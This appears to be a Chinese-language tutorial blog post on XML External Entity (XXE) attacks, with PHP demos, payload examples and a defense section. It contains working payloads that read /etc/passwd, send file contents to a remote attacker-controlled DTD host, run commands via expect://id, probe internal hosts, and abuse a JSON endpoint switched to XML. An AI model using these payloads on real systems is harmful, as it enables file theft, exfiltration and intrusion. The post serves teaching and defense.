【VULNERABLITY】XML External Entity(XXE)

  1. 1. 描述
    1. 1.0.0.1. 内部声明DTD
    2. 1.0.0.2. 引用外部DTD
    3. 1.0.0.3. 内部声明实体
    4. 1.0.0.4. 引用外部实体
    5. 1.0.0.5. 漏洞描述摘自OWASP
  • 2. 试验
    1. 2.0.0.1. demo1 任意读取本地文件
    2. 2.0.0.2. demo2 不回显读取内容,远程传递数据
    3. 2.0.0.3. demo3 执行系统命令
    4. 2.0.0.4. demo4 探测内网应用
  • 3. 防御
    1. 3.0.0.1. 方案一、使用开发语言提供的禁用外部实体的方法
    2. 3.0.0.2. 方案二、过滤用户提交的XML数据
  • 4. json节点的Content-Type XXE攻击
    1. 4.0.1. 带上一个xxe-cheat-sheet,DTD-Attacks
  • 参考security.tencent.com,91ri.org
  • 描述

    XML的一些基础知识,摘自security.tencent.com

    XML例子

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?xml version="1.0" ?>  xml声明
    <!DOCTYPE note[ 文档类型定义
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    ]>
    <note> 文档元素
    <to>George</to>
    <from>John</from>
    <heading>Test</heading>
    <body>This is a Test</body>
    </note>

    上述为一个XML的实例
    DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

    内部声明DTD

    <!DOCTYPE 根元素 [元素声明]>

    引用外部DTD

    <!DOCTYPE 根元素 SYSTEM "文件名">或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

    内部声明实体

    <!ENTITY 实体名称 "实体的值">

    引用外部实体

    <!ENTITY 实体名称 SYSTEM "URI">或者<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

    漏洞描述摘自OWASP
    1
    An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

    漏洞成因为XML解析器配置不安全时,当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    试验

    恶意引入外部实体方式:

    • 本地文件读取
    1
    2
    3
    4
    5
    <?xml version="1.0" ?>
    <!DOCTYPE ANY [
    <!ENTITY b SYSTEM "file:///etc/passwd">
    ]>
    <c>&b;</c>
    • 远程文件读取
    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0" ?>
    <!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://evil.com/evil.dtd">
    %d;
    ]>
    <c>&b;</c>
    其中evil.dtd文件内容
    <!ENTITY b SYSTEM "file:///etc/passwd">

    但是如果遇到读取多行的文件,可能会读不出来,这里可以看一下ftp接受xxe数据
    不同的语言默认支持的协议不同

    libxml2 php java .net
    file
    http
    ftp
    file
    http
    ftp
    php
    compress.zip
    compress.bzip2
    data
    glob
    phar
    http
    https
    ftp
    file
    jar
    netdoc
    mailto
    gopher *
    http
    file
    https
    ftp

    上述为默认支持协议,还可以通过扩展支持其他协议,如php

    scheme extension required
    https
    ftps
    openssl
    zip zip
    ssh2.shell
    ssh2.exec
    ssh2.tunnel
    ssh2.sftp
    ssh2.scp
    ssh2
    rar rar
    ogg oggvorbis
    expect expect
    demo1 任意读取本地文件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    $xml=<<<EOF
    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY b SYSTEM "file:///etc/passwd">
    ]>
    <c>&b;</c>
    EOF;
    $data=simplexml_load_string($xml);
    echo $data;
    demo2 不回显读取内容,远程传递数据
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    $xml=<<<EOF
    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/issue">
    <!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
    %dtd;
    %send;
    ]>
    <c>&b;</c>
    EOF;
    $data=simplexml_load_string($xml);
    远程DTD文件内容
    <!ENTITY % all "<!ENTITY &#x25 send SYSTEM 'http://ip/?xml=%file;'>">
    %all;
    demo3 执行系统命令
    1
    2
    3
    4
    5
    6
    7
    8
    9
    $xml=<<<EOF
    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY b SYSTEM "expect://id">
    ]>
    <c>&b;</c>
    EOF;
    $data=simplexml_load_string($xml);
    echo $data;

    执行成功需要php的expect扩展

    demo4 探测内网应用
    1
    2
    3
    4
    5
    6
    7
    8
    9
    $xml=<<<EOF
    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY b SYSTEM "http://192.168.1.20:80">
    ]>
    <c>&b;</c>
    EOF;
    $data=simplexml_load_string($xml);
    echo $data;

    如果不存在该ip的应用,会有warning failed to open stream,通过这种方式探测内容应用
    同时如果找到了内容应用,可以通过这种方式攻击内网应用

    防御

    方案一、使用开发语言提供的禁用外部实体的方法
    1. PHP:
      libxml_disable_entity_loader(true);
    2. JAVA:
      DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
      dbf.setExpandEntityReferences(false);
    3. Python:
      from lxml import etree
      xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    方案二、过滤用户提交的XML数据

    关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

    json节点的Content-Type XXE攻击

    如今很多web应用程序使用的都是json格式的数据传递,通过在http request头中带入Content-Type: application/json表明传递的是json格式的数据。但是有时候服务器可以接受开发人员没有意料到的其他数据格式,如xml格式。如果服务器可以接受xml格式的数据,那么就有可能存在xxe。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    HTTP Request:

    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/json
    Content-Length: 38

    {"search":"name","value":"netspitest"}

    HTTP Response:

    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 43

    {"error": "no results for name netspitest"}

    将如上的Content-Type改为xml格式的再发送

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    HTTP Request:

    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/xml
    Content-Length: 112

    <?xml version="1.0" encoding="UTF-8" ?>
    <root>
    <search>name</search>
    <value>netspitest</value>
    </root>

    HTTP Response:

    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 43

    {"error": "no results for name netspitest"}

    如果返回的数据是一样的,那么就说明服务器可以接受xml格式的数据,那么我们就可以利用xxe来攻击

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    HTTP Request:

    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/xml
    Content-Length: 288

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <search>name</search>
    <value>&xxe;</value>
    </root>

    HTTP Response:

    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 2467

    {"error": "no results for name root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync....

    但是并不是所有的json节点都是接受xml格式的数据的。有可能返回解析错误的提示或者415不支持媒体类型的错误消息

    带上一个xxe-cheat-sheetDTD-Attacks

    参考security.tencent.com91ri.org